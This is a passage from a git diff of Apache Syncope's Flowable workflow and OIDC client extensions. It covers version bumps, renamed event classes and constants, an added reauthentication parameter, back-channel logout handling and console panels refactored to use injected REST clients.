doReactivate(final User user, final String protected void doRequestPasswordReset(final User user, final String updater, final String context) { Map variables = new HashMap<>(3); variables.put(FlowableRuntimeUtils.USER_TO, dataBinder.getUserTO(user, true)); - variables.put(FlowableRuntimeUtils.TASK, "requestPasswordReset"); - variables.put(FlowableRuntimeUtils.EVENT, "requestPasswordReset"); + variables.put(FlowableRuntimeUtils.TASK, REQUEST_PASSWORD_RESET); + variables.put(FlowableRuntimeUtils.EVENT, REQUEST_PASSWORD_RESET); String procInstID = FlowableRuntimeUtils.getWFProcInstID(engine, user.getKey()); @@ -413,7 +420,7 @@ protected void doRequestPasswordReset(final User user, final String updater, fin User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); variables.keySet().forEach(key -> engine.getRuntimeService().removeVariable(procInstID, key)); engine.getRuntimeService().removeVariable(procInstID, FlowableRuntimeUtils.USER); @@ -428,8 +435,8 @@ protected UserWorkflowResult> doConfirmPasswordReset( variables.put(FlowableRuntimeUtils.TOKEN, token); variables.put(FlowableRuntimeUtils.PASSWORD, password); variables.put(FlowableRuntimeUtils.USER_TO, dataBinder.getUserTO(user, true)); - variables.put(FlowableRuntimeUtils.TASK, "confirmPasswordReset"); - variables.put(FlowableRuntimeUtils.EVENT, "confirmPasswordReset"); + variables.put(FlowableRuntimeUtils.TASK, CONFIRM_PASSWORD_RESET); + variables.put(FlowableRuntimeUtils.EVENT, CONFIRM_PASSWORD_RESET); String procInstID = FlowableRuntimeUtils.getWFProcInstID(engine, user.getKey()); @@ -439,7 +446,7 @@ protected UserWorkflowResult> doConfirmPasswordReset( User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); variables.keySet().forEach(key -> engine.getRuntimeService().removeVariable(procInstID, key)); engine.getRuntimeService().removeVariable(procInstID, FlowableRuntimeUtils.USER); @@ -483,7 +490,7 @@ protected void doDelete(final User user, final String eraser, final String conte userDAO.delete(user.getKey()); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.DELETE, user, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.DELETE, user, AuthContextUtils.getDomain())); if (!engine.getHistoryService().createHistoricProcessInstanceQuery(). processInstanceId(procInstID).list().isEmpty()) { @@ -505,7 +512,7 @@ protected void doDelete(final User user, final String eraser, final String conte User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); engine.getRuntimeService().removeVariable(procInstID, FlowableRuntimeUtils.TASK); engine.getRuntimeService().removeVariable(procInstID, FlowableRuntimeUtils.USER); @@ -528,7 +535,7 @@ public UserWorkflowResult executeNextTask(final WorkflowTaskExecInput wo user = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, user, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, user, AuthContextUtils.getDomain())); engine.getRuntimeService().setVariable( procInstID, FlowableRuntimeUtils.USER_TO, dataBinder.getUserTO(user, true)); @@ -539,7 +546,7 @@ public UserWorkflowResult executeNextTask(final WorkflowTaskExecInput wo userDAO.delete(user.getKey()); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.DELETE, user, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.DELETE, user, AuthContextUtils.getDomain())); if (!engine.getHistoryService().createHistoricProcessInstanceQuery(). processInstanceId(procInstID).list().isEmpty()) { diff --git a/ext/flowable/logic/pom.xml b/ext/flowable/logic/pom.xml index 8cc58e45f81..9f76a87f128 100644 --- a/ext/flowable/logic/pom.xml +++ b/ext/flowable/logic/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-flowable - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Flowable Logic diff --git a/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/FlowableLogicContext.java b/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/FlowableLogicContext.java index 884e0d3f84e..ef71a4f29e2 100644 --- a/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/FlowableLogicContext.java +++ b/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/FlowableLogicContext.java @@ -38,9 +38,11 @@ public class FlowableLogicContext { @ConditionalOnMissingBean @Bean - public FlowableLoader flowableLoader(final DomainProcessEngine engine, - @Qualifier("userWorkflowDef") - final Resource userWorkflowDef) { + public FlowableLoader flowableLoader( + final DomainProcessEngine engine, + @Qualifier("userWorkflowDef") + final Resource userWorkflowDef) { + return new FlowableLoader(userWorkflowDef, engine); } @@ -52,12 +54,14 @@ public BpmnProcessLogic bpmnProcessLogic(final BpmnProcessManager bpmnProcessMan @ConditionalOnMissingBean @Bean - public UserRequestLogic userRequestLogic(final UserRequestHandler userRequestHandler, - final UserDataBinder binder, - final BpmnProcessManager bpmnProcessManager, - final PropagationTaskExecutor taskExecutor, - final UserDAO userDAO, - final PropagationManager propagationManager) { + public UserRequestLogic userRequestLogic( + final UserRequestHandler userRequestHandler, + final UserDataBinder binder, + final BpmnProcessManager bpmnProcessManager, + final PropagationTaskExecutor taskExecutor, + final UserDAO userDAO, + final PropagationManager propagationManager) { + return new UserRequestLogic( bpmnProcessManager, userRequestHandler, @@ -69,11 +73,13 @@ public UserRequestLogic userRequestLogic(final UserRequestHandler userRequestHan @ConditionalOnMissingBean @Bean - public UserWorkflowTaskLogic userWorkflowTaskLogic(final WorkflowTaskManager wfTaskManager, - final UserDataBinder binder, - final UserDAO userDAO, - final PropagationTaskExecutor taskExecutor, - final PropagationManager propagationManager) { + public UserWorkflowTaskLogic userWorkflowTaskLogic( + final WorkflowTaskManager wfTaskManager, + final UserDataBinder binder, + final UserDAO userDAO, + final PropagationTaskExecutor taskExecutor, + final PropagationManager propagationManager) { + return new UserWorkflowTaskLogic(wfTaskManager, propagationManager, taskExecutor, binder, userDAO); } } diff --git a/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/UserRequestLogic.java b/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/UserRequestLogic.java index add8fae463d..91cdccabc31 100644 --- a/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/UserRequestLogic.java +++ b/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/UserRequestLogic.java @@ -112,7 +112,7 @@ protected UserRequest doStart( final WorkflowTaskExecInput inputVariables) { // check if BPMN process exists - bpmnProcessManager.exportProcess(bpmnProcess, BpmnProcessFormat.XML, NullOutputStream.NULL_OUTPUT_STREAM); + bpmnProcessManager.exportProcess(bpmnProcess, BpmnProcessFormat.XML, NullOutputStream.INSTANCE); return userRequestHandler.start(bpmnProcess, user, inputVariables); } diff --git a/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/init/FlowableLoader.java b/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/init/FlowableLoader.java index 5a0fb08788a..f73083c3fcb 100644 --- a/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/init/FlowableLoader.java +++ b/ext/flowable/logic/src/main/java/org/apache/syncope/core/logic/init/FlowableLoader.java @@ -23,7 +23,6 @@ import java.io.InputStream; import java.util.List; import javax.sql.DataSource; -import org.apache.commons.io.IOUtils; import org.apache.syncope.common.lib.types.EntitlementsHolder; import org.apache.syncope.common.lib.types.FlowableEntitlement; import org.apache.syncope.core.flowable.impl.FlowableDeployUtils; @@ -65,7 +64,7 @@ public void load(final String domain, final DataSource datasource) { byte[] wfDef = new byte[0]; try (InputStream wfIn = userWorkflowDef.getInputStream()) { - wfDef = IOUtils.toByteArray(wfIn); + wfDef = wfIn.readAllBytes(); } catch (IOException e) { LOG.error("While loading " + userWorkflowDef.getFilename(), e); } diff --git a/ext/flowable/pom.xml b/ext/flowable/pom.xml index 2fb48390140..f0dd92493dc 100644 --- a/ext/flowable/pom.xml +++ b/ext/flowable/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-ext - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Flowable @@ -45,7 +45,6 @@ under the License. flowable-bpmn client-console client-enduser - client-common-ui diff --git a/ext/flowable/rest-api/pom.xml b/ext/flowable/rest-api/pom.xml index 86182d4abe7..ea3895dee4e 100644 --- a/ext/flowable/rest-api/pom.xml +++ b/ext/flowable/rest-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-flowable - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Flowable REST API diff --git a/ext/flowable/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/UserRequestService.java b/ext/flowable/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/UserRequestService.java index 348647cdc92..16302c0fb8e 100644 --- a/ext/flowable/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/UserRequestService.java +++ b/ext/flowable/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/UserRequestService.java @@ -79,6 +79,7 @@ public interface UserRequestService extends JAXRSService { @POST @Path("start/{bpmnProcess}") @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) UserRequest startRequest( @NotNull @PathParam("bpmnProcess") String bpmnProcess, @QueryParam(JAXRSService.PARAM_USER) String user, diff --git a/ext/flowable/rest-cxf/pom.xml b/ext/flowable/rest-cxf/pom.xml index f3b7012e3c5..6a08c6ddf29 100644 --- a/ext/flowable/rest-cxf/pom.xml +++ b/ext/flowable/rest-cxf/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-flowable - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Flowable REST CXF diff --git a/ext/flowable/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/UserRequestServiceImpl.java b/ext/flowable/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/UserRequestServiceImpl.java index 78a1663f00b..7e2ae3e8a37 100644 --- a/ext/flowable/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/UserRequestServiceImpl.java +++ b/ext/flowable/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/UserRequestServiceImpl.java @@ -49,7 +49,7 @@ public UserRequestServiceImpl(final UserRequestLogic logic, final UserDAO userDA @Override public PagedResult listRequests(final UserRequestQuery query) { if (query.getUser() != null) { - query.setUser(Optional.ofNullable(getActualKey(userDAO, query.getUser())).orElse(query.getUser())); + query.setUser(Optional.ofNullable(findActualKey(userDAO, query.getUser())).orElse(query.getUser())); } Pair> result = logic.listRequests( @@ -63,7 +63,7 @@ public UserRequest startRequest( return user == null ? logic.startRequest(bpmnProcess, inputVariables) - : logic.startRequest(bpmnProcess, getActualKey(userDAO, user), inputVariables); + : logic.startRequest(bpmnProcess, findActualKey(userDAO, user), inputVariables); } @Override @@ -83,13 +83,13 @@ public UserRequestForm unclaimForm(final String taskId) { @Override public UserRequestForm getForm(final String username, final String taskId) { - return logic.getForm(getActualKey(userDAO, username), taskId); + return logic.getForm(findActualKey(userDAO, username), taskId); } @Override public PagedResult listForms(final UserRequestQuery query) { if (query.getUser() != null) { - query.setUser(Optional.ofNullable(getActualKey(userDAO, query.getUser())).orElse(query.getUser())); + query.setUser(Optional.ofNullable(findActualKey(userDAO, query.getUser())).orElse(query.getUser())); } Pair> result = logic.listForms( diff --git a/ext/oidcc4ui/client-common-ui/pom.xml b/ext/oidcc4ui/client-common-ui/pom.xml index c9223dbed75..ea3a3991fad 100644 --- a/ext/oidcc4ui/client-common-ui/pom.xml +++ b/ext/oidcc4ui/client-common-ui/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI Common UI diff --git a/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/AbstractOIDCSSOLoginFormPanel.java b/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/AbstractOIDCSSOLoginFormPanel.java index 51936a12848..765040caf50 100644 --- a/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/AbstractOIDCSSOLoginFormPanel.java +++ b/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/AbstractOIDCSSOLoginFormPanel.java @@ -68,10 +68,10 @@ public String getIdValue(final OIDCC4UIProviderTO object, final int index) { @Override public OIDCC4UIProviderTO getObject(final String id, - final IModel> choices) { + final IModel> choices) { return choices.getObject().stream(). - filter(object -> object.getName().equals(id)).findFirst().orElse(null); + filter(object -> object.getName().equals(id)).findFirst().orElse(null); } }); @@ -84,8 +84,10 @@ protected void onUpdate(final AjaxRequestTarget target) { if (model.getObject() != null) { try { RequestCycle.get().scheduleRequestHandlerAfterCurrent(new RedirectRequestHandler( - UrlUtils.rewriteToContextRelative(OIDCC4UIConstants.URL_CONTEXT + "/login?op=" - + URLEncoder.encode(model.getObject().getName(), StandardCharsets.UTF_8), + UrlUtils.rewriteToContextRelative(OIDCC4UIConstants.URL_CONTEXT + "/login?" + + OIDCC4UIConstants.PARAM_OP + "=" + + URLEncoder.encode(model.getObject().getName(), StandardCharsets.UTF_8) + + "&" + OIDCC4UIConstants.PARAM_REAUTH + "=" + reauth, RequestCycle.get()))); } catch (Exception e) { LOG.error("Could not redirect to the selected OP {}", model.getObject().getName(), e); diff --git a/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/OIDCC4UIConstants.java b/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/OIDCC4UIConstants.java index fddb6efa73e..c555d3bd059 100644 --- a/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/OIDCC4UIConstants.java +++ b/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/OIDCC4UIConstants.java @@ -24,6 +24,8 @@ public final class OIDCC4UIConstants { public static final String PARAM_OP = "op"; + public static final String PARAM_REAUTH = "reauth"; + public static final String OIDCC4UI_JWT = "oidcc4ui.jwt"; public static final String OIDCC4UI_SLO_SUPPORTED = "oidcc4ui.sloSupported"; diff --git a/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/oidcc4ui/LoginResource.java b/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/oidcc4ui/LoginResource.java index 3ebe48cb3b7..37811f52c66 100644 --- a/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/oidcc4ui/LoginResource.java +++ b/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/oidcc4ui/LoginResource.java @@ -40,15 +40,18 @@ public class LoginResource extends AbstractResource { @Override protected ResourceResponse newResourceResponse(final Attributes attributes) { - String op = attributes.getRequest().getQueryParameters(). - getParameterValue(OIDCC4UIConstants.PARAM_OP).toString(); - HttpServletRequest request = (HttpServletRequest) attributes.getRequest().getContainerRequest(); String redirectURI = StringUtils.substringBefore( request.getRequestURL().toString(), "/login") + "/code-consumer"; + String op = attributes.getRequest().getQueryParameters(). + getParameterValue(OIDCC4UIConstants.PARAM_OP).toString(); + + boolean reauth = attributes.getRequest().getQueryParameters(). + getParameterValue(OIDCC4UIConstants.PARAM_REAUTH).toBoolean(false); + OIDCC4UIService service = BaseSession.class.cast(Session.get()).getAnonymousService(OIDCC4UIService.class); - OIDCRequest loginRequest = service.createLoginRequest(redirectURI, op); + OIDCRequest loginRequest = service.createLoginRequest(redirectURI, op, reauth); Session.get().setAttribute(OIDCConstants.OP, op); diff --git a/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/oidcc4ui/LogoutResource.java b/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/oidcc4ui/LogoutResource.java index 2a602b71699..8fa8c7177f9 100644 --- a/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/oidcc4ui/LogoutResource.java +++ b/ext/oidcc4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/oidcc4ui/LogoutResource.java @@ -18,19 +18,62 @@ */ package org.apache.syncope.client.ui.commons.resources.oidcc4ui; +import java.io.IOException; +import java.util.Optional; +import javax.servlet.http.HttpServletRequest; +import javax.ws.rs.core.HttpHeaders; +import javax.ws.rs.core.MediaType; +import javax.ws.rs.core.Response; +import org.apache.syncope.client.ui.commons.BaseSession; +import org.apache.syncope.common.lib.oidc.OIDCConstants; +import org.apache.syncope.common.rest.api.service.OIDCC4UIService; import org.apache.wicket.RestartResponseException; +import org.apache.wicket.Session; import org.apache.wicket.markup.html.WebPage; import org.apache.wicket.request.mapper.parameter.PageParameters; import org.apache.wicket.request.resource.AbstractResource; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; public abstract class LogoutResource extends AbstractResource { private static final long serialVersionUID = 273797583932923564L; + protected static final Logger LOG = LoggerFactory.getLogger(LogoutResource.class); + protected abstract Class getLogoutPageClass(); @Override protected ResourceResponse newResourceResponse(final Attributes attributes) { - throw new RestartResponseException(getLogoutPageClass(), new PageParameters()); + HttpServletRequest request = (HttpServletRequest) attributes.getRequest().getContainerRequest(); + + // if no logout token was found, complete RP-initated logout + // otherwise, proceed with back-channel logout for the provided token + String logoutToken = Optional.ofNullable(request.getParameter(OIDCConstants.LOGOUT_TOKEN)). + orElseThrow(() -> new RestartResponseException(getLogoutPageClass(), new PageParameters())); + + OIDCC4UIService service = BaseSession.class.cast(Session.get()).getAnonymousService(OIDCC4UIService.class); + + ResourceResponse response = new ResourceResponse(); + response.getHeaders().addHeader(HttpHeaders.CACHE_CONTROL, "no-cache, no-store"); + response.getHeaders().addHeader("Pragma", "no-cache"); + try { + service.backChannelLogout(logoutToken, request.getRequestURL().toString()); + + response.setStatusCode(Response.Status.OK.getStatusCode()); + } catch (Exception e) { + LOG.error("While requesting back-channel logout for token {}", logoutToken, e); + + response.setStatusCode(Response.Status.BAD_REQUEST.getStatusCode()); + response.setContentType(MediaType.APPLICATION_JSON); + response.setWriteCallback(new WriteCallback() { + + @Override + public void writeData(final Attributes atrbts) throws IOException { + atrbts.getResponse().write("{\"error\": \"" + e.getMessage() + "\"}"); + } + }); + } + return response; } } diff --git a/ext/oidcc4ui/client-console/pom.xml b/ext/oidcc4ui/client-console/pom.xml index 73ddfcd81ab..fd722496f0b 100644 --- a/ext/oidcc4ui/client-console/pom.xml +++ b/ext/oidcc4ui/client-console/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI Console diff --git a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/OIDCC4UIConsoleContext.java b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/OIDCC4UIConsoleContext.java new file mode 100644 index 00000000000..747974a4776 --- /dev/null +++ b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/OIDCC4UIConsoleContext.java @@ -0,0 +1,62 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console; + +import org.apache.syncope.client.console.resources.oidcc4ui.ConsoleCodeConsumerResource; +import org.apache.syncope.client.console.resources.oidcc4ui.ConsoleLogoutResource; +import org.apache.syncope.client.console.rest.OIDCProviderRestClient; +import org.apache.syncope.client.ui.commons.resources.oidcc4ui.BeforeLogoutResource; +import org.apache.syncope.client.ui.commons.resources.oidcc4ui.LoginResource; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration(proxyBeanMethods = false) +public class OIDCC4UIConsoleContext { + + @ConditionalOnMissingBean + @Bean + public OIDCProviderRestClient oidcProviderRestClient() { + return new OIDCProviderRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public LoginResource oidcc4uiLoginResource() { + return new LoginResource(); + } + + @ConditionalOnMissingBean + @Bean + public ConsoleCodeConsumerResource codeConsumerResource() { + return new ConsoleCodeConsumerResource(); + } + + @ConditionalOnMissingBean + @Bean + public BeforeLogoutResource beforeLogoutResource() { + return new BeforeLogoutResource(); + } + + @ConditionalOnMissingBean + @Bean + public ConsoleLogoutResource oidcc4uiLogoutResource() { + return new ConsoleLogoutResource(); + } +} diff --git a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/OIDCC4UI.java b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/OIDCC4UI.java index d0c3c6f7e36..11d51555c4b 100644 --- a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/OIDCC4UI.java +++ b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/OIDCC4UI.java @@ -23,21 +23,26 @@ import java.util.List; import org.apache.syncope.client.console.BookmarkablePageLinkBuilder; import org.apache.syncope.client.console.panels.OIDCProvidersDirectoryPanel; +import org.apache.syncope.client.console.rest.OIDCProviderRestClient; import org.apache.syncope.client.ui.commons.annotations.ExtPage; -import org.apache.syncope.common.lib.types.OIDC4UIEntitlement; +import org.apache.syncope.common.lib.types.OIDCC4UIEntitlement; import org.apache.wicket.extensions.markup.html.tabs.AbstractTab; import org.apache.wicket.extensions.markup.html.tabs.ITab; import org.apache.wicket.markup.html.WebMarkupContainer; import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.request.mapper.parameter.PageParameters; +import org.apache.wicket.spring.injection.annot.SpringBean; -@ExtPage(label = "OIDC 1.0 C4UI", icon = "fab fa-openid", - listEntitlement = OIDC4UIEntitlement.OP_READ, priority = 300) +@ExtPage(label = "OIDC 1.0 C4UI", icon = "fab fa-openid", + listEntitlement = OIDCC4UIEntitlement.OP_READ, priority = 300) public class OIDCC4UI extends BaseExtPage { private static final long serialVersionUID = -599601954212606001L; + @SpringBean + protected OIDCProviderRestClient oidcProviderRestClient; + public OIDCC4UI(final PageParameters parameters) { super(parameters); @@ -54,12 +59,12 @@ private List buildTabList() { final List tabs = new ArrayList<>(1); tabs.add(new AbstractTab(new ResourceModel("op")) { - private static final long serialVersionUID = -6815067322125799251L; + private static final long serialVersionUID = -6815067322125799251L; @Override public Panel getPanel(final String panelId) { - return new OIDCProvidersDirectoryPanel(panelId, getPageReference()); + return new OIDCProvidersDirectoryPanel(panelId, oidcProviderRestClient, getPageReference()); } }); diff --git a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/OIDCProvidersDirectoryPanel.java b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/OIDCProvidersDirectoryPanel.java index 8c17043d794..63594c21b7a 100644 --- a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/OIDCProvidersDirectoryPanel.java +++ b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/OIDCProvidersDirectoryPanel.java @@ -26,12 +26,15 @@ import java.util.List; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; import org.apache.syncope.client.console.layout.UserFormLayoutInfo; import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.panels.OIDCProvidersDirectoryPanel.OIDCProvidersProvider; import org.apache.syncope.client.console.rest.AnyTypeRestClient; +import org.apache.syncope.client.console.rest.ImplementationRestClient; import org.apache.syncope.client.console.rest.OIDCProviderRestClient; +import org.apache.syncope.client.console.rest.UserRestClient; import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.KeyPropertyColumn; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; @@ -41,7 +44,6 @@ import org.apache.syncope.client.console.wizards.WizardMgtPanel; import org.apache.syncope.client.console.wizards.any.UserTemplateWizardBuilder; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.panels.WizardModalPanel; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.client.ui.commons.wizards.any.AnyWrapper; @@ -49,7 +51,7 @@ import org.apache.syncope.common.lib.to.OIDCC4UIProviderTO; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.AnyTypeKind; -import org.apache.syncope.common.lib.types.OIDC4UIEntitlement; +import org.apache.syncope.common.lib.types.OIDCC4UIEntitlement; import org.apache.wicket.PageReference; import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.authroles.authorization.strategies.role.metadata.MetaDataRoleAuthorizationStrategy; @@ -63,19 +65,32 @@ import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class OIDCProvidersDirectoryPanel extends DirectoryPanel< OIDCC4UIProviderTO, OIDCC4UIProviderTO, OIDCProvidersProvider, OIDCProviderRestClient> { private static final long serialVersionUID = -1356497878858616714L; - private static final String PREF_OIDC_PROVIDERS_PAGINATOR_ROWS = "oidc.providers.paginator.rows"; + protected static final String PREF_OIDC_PROVIDERS_PAGINATOR_ROWS = "oidc.providers.paginator.rows"; + + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + @SpringBean + protected UserRestClient userRestClient; + + @SpringBean + protected ImplementationRestClient implementationRestClient; private final BaseModal templateModal; - public OIDCProvidersDirectoryPanel(final String id, final PageReference pageRef) { - super(id, new Builder( - new OIDCProviderRestClient(), pageRef) { + public OIDCProvidersDirectoryPanel( + final String id, + final OIDCProviderRestClient restClient, + final PageReference pageRef) { + + super(id, new Builder(restClient, pageRef) { private static final long serialVersionUID = -5542535388772406165L; @@ -86,8 +101,9 @@ protected WizardMgtPanel newInstance(final String id, } }.disableCheckBoxes()); - this.addNewItemPanelBuilder(new OIDCProviderWizardBuilder(this, new OIDCC4UIProviderTO(), pageRef), true); - MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, OIDC4UIEntitlement.OP_CREATE); + this.addNewItemPanelBuilder(new OIDCProviderWizardBuilder( + this, new OIDCC4UIProviderTO(), implementationRestClient, restClient, pageRef), true); + MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, OIDCC4UIEntitlement.OP_CREATE); modal.size(Modal.Size.Large); @@ -101,7 +117,7 @@ protected void onConfigure() { setFooterVisible(false); } }; - templateModal.setWindowClosedCallback(target -> templateModal.show(false)); + setWindowClosedReloadCallback(templateModal); templateModal.size(Modal.Size.Large); addOuterObject(templateModal); @@ -123,7 +139,7 @@ protected ActionLinksTogglePanel actionTogglePanel() { public void updateHeader(final AjaxRequestTarget target, final Serializable object) { if (object instanceof OIDCC4UIProviderTO) { setHeader(target, - StringUtils.abbreviate(((OIDCC4UIProviderTO) object).getName(), HEADER_FIRST_ABBREVIATION)); + StringUtils.abbreviate(((OIDCC4UIProviderTO) object).getName(), HEADER_FIRST_ABBREVIATION)); } else { super.updateHeader(target, object); } @@ -163,12 +179,12 @@ public ActionsPanel getActions(final IModel(object, target)); + new AjaxWizard.EditItemActionEvent<>(object, target)); modal.header(Model.of(StringUtils.capitalize(("Edit " + object.getName())))); } - }, ActionLink.ActionType.EDIT, OIDC4UIEntitlement.OP_UPDATE); + }, ActionLink.ActionType.EDIT, OIDCC4UIEntitlement.OP_UPDATE); panel.add(new ActionLink<>() { @@ -176,32 +192,33 @@ public void onClick(final AjaxRequestTarget target, final OIDCC4UIProviderTO ign @Override public void onClick(final AjaxRequestTarget target, final OIDCC4UIProviderTO ignore) { - final OIDCC4UIProviderTO object = OIDCProviderRestClient.read(model.getObject().getKey()); + OIDCC4UIProviderTO object = restClient.read(model.getObject().getKey()); UserTemplateWizardBuilder builder = new UserTemplateWizardBuilder( - object.getUserTemplate(), - AnyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses(), - new UserFormLayoutInfo(), - pageRef) { + object.getUserTemplate(), + anyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses(), + new UserFormLayoutInfo(), + userRestClient, + pageRef) { private static final long serialVersionUID = -7978723352517770634L; @Override protected Serializable onApplyInternal(final AnyWrapper modelObject) { 